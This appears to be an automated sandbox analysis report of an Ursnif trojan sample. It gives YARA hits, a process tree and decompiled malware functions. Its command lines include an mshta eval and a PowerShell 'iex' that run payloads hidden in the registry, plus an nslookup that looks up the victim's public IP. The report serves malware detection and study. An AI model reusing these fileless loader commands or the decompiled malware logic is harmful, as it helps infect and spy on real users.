Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4472 Parent PID: 5560

General

Start time:	19:06:16
Start date:	25/11/2020
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe'
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5804 Parent PID: 4472

General

Start time:	19:06:16
Start date:	25/11/2020
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\iexplore.exe
Imagebase:	0x7ff6399a0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4356 Parent PID: 5804

General

Start time:	19:06:17
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17410 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4636 Parent PID: 5804

General

Start time:	19:06:21
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:82952 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6868 Parent PID: 5804

General

Start time:	19:06:45
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17434 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 7108 Parent PID: 5804

General

Start time:	19:07:07
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17438 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6224 Parent PID: 5804

General

Start time:	19:07:10
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17446 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5836 Parent PID: 5804

General

Start time:	19:07:14
Start date:	25/11/2020
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17456 /prefetch:2
Imagebase:	0x8b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: mshta.exe PID: 6484 Parent PID: 3292

General

Start time:	19:07:20
Start date:	25/11/2020
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\Audiinrt'));if(!window.flag)close()</script>'
Imagebase:	0x7ff6ae9a0000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 4760 Parent PID: 6484

General

Start time:	19:07:21
Start date:	25/11/2020
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))
Imagebase:	0x7ff6ef390000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6592 Parent PID: 4760

General

Start time:	19:07:22
Start date:	25/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: csc.exe PID: 1808 Parent PID: 4760

General

Start time:	19:07:28
Start date:	25/11/2020
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Imagebase:	0x7ff601910000
File size:	2739304 bytes
MD5 hash:	B46100977911A0C9FB1C3E5F16A5017D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: cvtres.exe PID: 6724 Parent PID: 1808

General

Start time:	19:07:30
Start date:	25/11/2020
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp' 'c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP'
Imagebase:	0x7ff7c4700000
File size:	47280 bytes
MD5 hash:	33BB8BE0B4F547324D93D5D2725CAC3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csc.exe PID: 6688 Parent PID: 4760

General

Start time:	19:07:32
Start date:	25/11/2020
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'
Imagebase:	0x7ff601910000
File size:	2739304 bytes
MD5 hash:	B46100977911A0C9FB1C3E5F16A5017D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: cvtres.exe PID: 6948 Parent PID: 6688

General

Start time:	19:07:33
Start date:	25/11/2020
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp' 'c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP'
Imagebase:	0x7ff7c4700000
File size:	47280 bytes
MD5 hash:	33BB8BE0B4F547324D93D5D2725CAC3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 4760

General

Start time:	19:07:38
Start date:	25/11/2020
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: control.exe PID: 6968 Parent PID: 4360

General

Start time:	19:07:41
Start date:	25/11/2020
Path:	C:\Windows\System32\control.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\control.exe -h
Imagebase:	0x7ff7172f0000
File size:	117760 bytes
MD5 hash:	625DAC87CB5D7D44C5CA1DA57898065F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: RuntimeBroker.exe PID: 3088 Parent PID: 3292

General

Start time:	19:07:49
Start date:	25/11/2020
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff673460000
File size:	99272 bytes
MD5 hash:	C7E36B4A5D9E6AC600DD7A0E0D52DAC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: rundll32.exe PID: 7012 Parent PID: 6968

General

Start time:	19:07:49
Start date:	25/11/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Imagebase:	0x7ff7fdc60000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: WerFault.exe PID: 4288 Parent PID: 4360

General

Start time:	19:07:51
Start date:	25/11/2020
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 728
Imagebase:	0xe20000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4724 Parent PID: 3292

General

Start time:	19:07:52
Start date:	25/11/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\4EC0.bi1'
Imagebase:	0x7ff7bf140000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: RuntimeBroker.exe PID: 3756 Parent PID: 3292

General

Start time:	19:07:52
Start date:	25/11/2020
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff673460000
File size:	99272 bytes
MD5 hash:	C7E36B4A5D9E6AC600DD7A0E0D52DAC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 5228 Parent PID: 4724

General

Start time:	19:07:54
Start date:	25/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 4360 Parent PID: 5560 regsvr32.exeCOMMON

Executed Functions

Function 04A842B4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04A842B4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x4a8d278; // 0x59935a40
				_t74 = RtlAllocateHeap( *0x4a8d238, 0, _t72 ^ 0x59935b44);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x4a8d278; // 0x59935a40
				_t78 = RtlAllocateHeap( *0x4a8d238, 0, _t76 ^ 0x59935a4d);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x4a8d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x4a8d278; // 0x59935a40
				memset(_t78, 0, _t136 ^ 0x59935a4d);
				_t81 =  *0x4a8d27c; // 0xa9a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x4a8e7e8; // 0x73797325
				_t83 = E04A8A195(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x4a8d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x59935a4d;
				_v28.dwHighDateTime = 0x59935a4d;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x59935a4d) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x4a8d27c; // 0xa9a5a8
				_t16 = _t93 + 0x4a8e809; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x04a842bd
0x04a842c3
0x04a842c5
0x04a842df
0x04a842e3
0x04a842e6
0x04a8455b
0x04a84562
0x04a84562
0x04a842ec
0x04a84301
0x04a84303
0x04a84307
0x04a8430a
0x04a8454b
0x04a84555
0x00000000
0x04a84555
0x04a84310
0x04a8431b
0x04a84320
0x04a84325
0x04a84328
0x04a8432f
0x04a84336
0x04a84339
0x04a8453b
0x04a84545
0x00000000
0x04a84545
0x04a8434f
0x04a84353
0x04a84356
0x04a84359
0x04a84361
0x04a84364
0x04a8436d
0x04a84373
0x04a8437d
0x04a84384
0x04a84384
0x04a84396
0x04a843a1
0x04a843af
0x04a843b4
0x04a843b9
0x04a843bc
0x04a843c1
0x04a843cb
0x04a843ce
0x04a843d1
0x04a843e7
0x04a843eb
0x04a843ee
0x04a84539
0x00000000
0x04a84539
0x04a84405
0x04a84456
0x04a84419
0x04a84421
0x04a84426
0x04a84434
0x04a8443d
0x04a84446
0x04a84446
0x04a84454
0x04a84454
0x04a8445a
0x04a8445e
0x04a8445e
0x04a84464
0x00000000
0x00000000
0x04a84466
0x04a8446c
0x04a84513
0x04a84516
0x04a84523
0x04a84523
0x04a84527
0x00000000
0x00000000
0x04a8451c
0x04a84520
0x04a84520
0x04a84522
0x04a84522
0x04a8452c
0x04a84533
0x04a84535
0x00000000
0x04a84535
0x04a84472
0x04a84474
0x04a84474
0x04a84487
0x04a8448d
0x04a84498
0x04a8449a
0x04a8449e
0x04a844a0
0x04a844a0
0x04a844a5
0x04a844a7
0x04a844a7
0x04a844a5
0x04a844ac
0x04a844b0
0x04a844b0
0x04a844c0
0x04a844c5
0x04a844c8
0x04a844c8
0x04a844cb
0x04a844d5
0x04a844dd
0x04a844e2
0x04a844f0
0x04a844f0
0x04a84504
0x04a84508
0x04a84508

APIs

RtlAllocateHeap.NTDLL(00000000,59935A40,00000000), ref: 04A842DF
RtlAllocateHeap.NTDLL(00000000,59935A40), ref: 04A84301
memset.NTDLL ref: 04A8431B

Part of subcall function 04A8A195: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,?,59935A4D,04A84334,73797325), ref: 04A8A1A6
Part of subcall function 04A8A195: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04A8A1C0

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 04A84359
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 04A8436D
FindCloseChangeNotification.KERNEL32(00000000), ref: 04A84384
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 04A84390
lstrcat.KERNEL32(?,642E2A5C), ref: 04A843D1
FindFirstFileA.KERNEL32(?,?), ref: 04A843E7
CompareFileTime.KERNEL32(?,?), ref: 04A84405
FindNextFileA.KERNEL32(04A85D65,?), ref: 04A84419
FindClose.KERNEL32(04A85D65), ref: 04A84426
FindFirstFileA.KERNEL32(?,?), ref: 04A84432
CompareFileTime.KERNEL32(?,?), ref: 04A84454
StrChrA.SHLWAPI(?,0000002E), ref: 04A84487
memcpy.NTDLL(00000000,?,00000000), ref: 04A844C0
FindNextFileA.KERNELBASE(04A85D65,?), ref: 04A844D5
FindClose.KERNEL32(04A85D65), ref: 04A844E2
FindFirstFileA.KERNEL32(?,?), ref: 04A844EE
CompareFileTime.KERNEL32(?,?), ref: 04A844FE
FindClose.KERNEL32(04A85D65), ref: 04A84533
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 04A84545
HeapFree.KERNEL32(00000000,?), ref: 04A84555

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: 625908844ddb7bc43c75a6487298dcecd23e33097e4783c97659739b92d8a704
Instruction ID: a8e7053e0d3930a3a84aeee003b98ad370ae819669201cd1366d0de7b17d71c4
Opcode Fuzzy Hash: 625908844ddb7bc43c75a6487298dcecd23e33097e4783c97659739b92d8a704
Instruction Fuzzy Hash: 3E815AB1D0020AAFEF11DFA4DC84AEEBBB8FB58354F14016AE515E6250E734AE45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04A81644, Relevance: 13.6, APIs: 9, Instructions: 110
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04A81644(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t39;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t57;
				void* _t66;
				intOrPtr _t67;
				intOrPtr* _t68;

				_t1 = __eax + 0x14; // 0x74183966
				_t67 =  *_t1;
				_t36 = E04A89378(__ecx,  *(_t67 + 0xc),  &_v12,  &_v16); // executed
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				memcpy(_v12,  *(_t67 + 8),  *(_t67 + 0xc));
				_t39 = _v12(_v12);
				_v8 = _t39;
				if(_t39 == 0 && ( *0x4a8d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t46 =  *0x4a8d27c; // 0xa9a5a8
					_t18 = _t46 + 0x4a8e3e6; // 0x73797325
					_t66 = E04A8A195(_t18);
					if(_t66 == 0) {
						_v8 = 8;
					} else {
						_t49 =  *0x4a8d27c; // 0xa9a5a8
						_t19 = _t49 + 0x4a8e747; // 0x5528cef
						_t20 = _t49 + 0x4a8e0af; // 0x4e52454b
						if(GetProcAddress(GetModuleHandleA(_t20), _t19) == 0) {
							_v8 = 0x7f;
						} else {
							_push(0);
							_v108 = 0x44;
							E04A8945E();
							_push( &_v32);
							_push( &_v108);
							_push(0);
							_push(0);
							_push(0x4000000);
							_push(0);
							_push(0);
							_push(0);
							_push(_t66);
							_t57 = GetClipboardData(0); // executed
							_push(1);
							E04A8945E();
							if(_t57 == 0) {
								_v8 = GetLastError();
							} else {
								FindCloseChangeNotification(_v28); // executed
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4a8d238, 0, _t66);
					}
				}
				_t68 = _v16;
				 *((intOrPtr*)(_t68 + 0x18))( *((intOrPtr*)(_t68 + 0x1c))( *_t68));
				E04A89A1A(_t68);
				goto L12;
			}

0x04a8164c
0x04a8164c
0x04a8165b
0x04a81664
0x04a81667
0x04a81777
0x04a8177e
0x04a8177e
0x04a81676
0x04a81681
0x04a81686
0x04a81689
0x04a8169e
0x04a816a4
0x04a816a5
0x04a816a8
0x04a816ae
0x04a816b1
0x04a816b6
0x04a816be
0x04a816ca
0x04a816ce
0x04a8175e
0x04a816d4
0x04a816d4
0x04a816d9
0x04a816e0
0x04a816f8
0x04a81747
0x04a816fa
0x04a816fa
0x04a816fb
0x04a81702
0x04a8170a
0x04a8170e
0x04a8170f
0x04a81710
0x04a81711
0x04a81716
0x04a81717
0x04a81718
0x04a81719
0x04a8171b
0x04a8171d
0x04a81721
0x04a81728
0x04a81742
0x04a8172a
0x04a81733
0x04a81738
0x04a81738
0x04a81728
0x04a81756
0x04a81756
0x04a816ce
0x04a81765
0x04a8176e
0x04a81772
0x00000000

APIs

Part of subcall function 04A89378: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04A81660,?,?,?,?,00000000,00000000), ref: 04A8939D
Part of subcall function 04A89378: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04A893BF
Part of subcall function 04A89378: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04A893D5
Part of subcall function 04A89378: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04A893EB
Part of subcall function 04A89378: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04A89401
Part of subcall function 04A89378: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04A89417

memcpy.NTDLL(?,?,?,?,?,?,?,00000000,00000000), ref: 04A81676
memset.NTDLL ref: 04A816B1

Part of subcall function 04A8A195: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,?,59935A4D,04A84334,73797325), ref: 04A8A1A6
Part of subcall function 04A8A195: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04A8A1C0

GetModuleHandleA.KERNEL32(4E52454B,05528CEF,73797325), ref: 04A816E7
GetProcAddress.KERNEL32(00000000), ref: 04A816EE
HeapFree.KERNEL32(00000000,00000000), ref: 04A81756

Part of subcall function 04A8945E: GetProcAddress.KERNEL32(36776F57,04A85C4B), ref: 04A89479

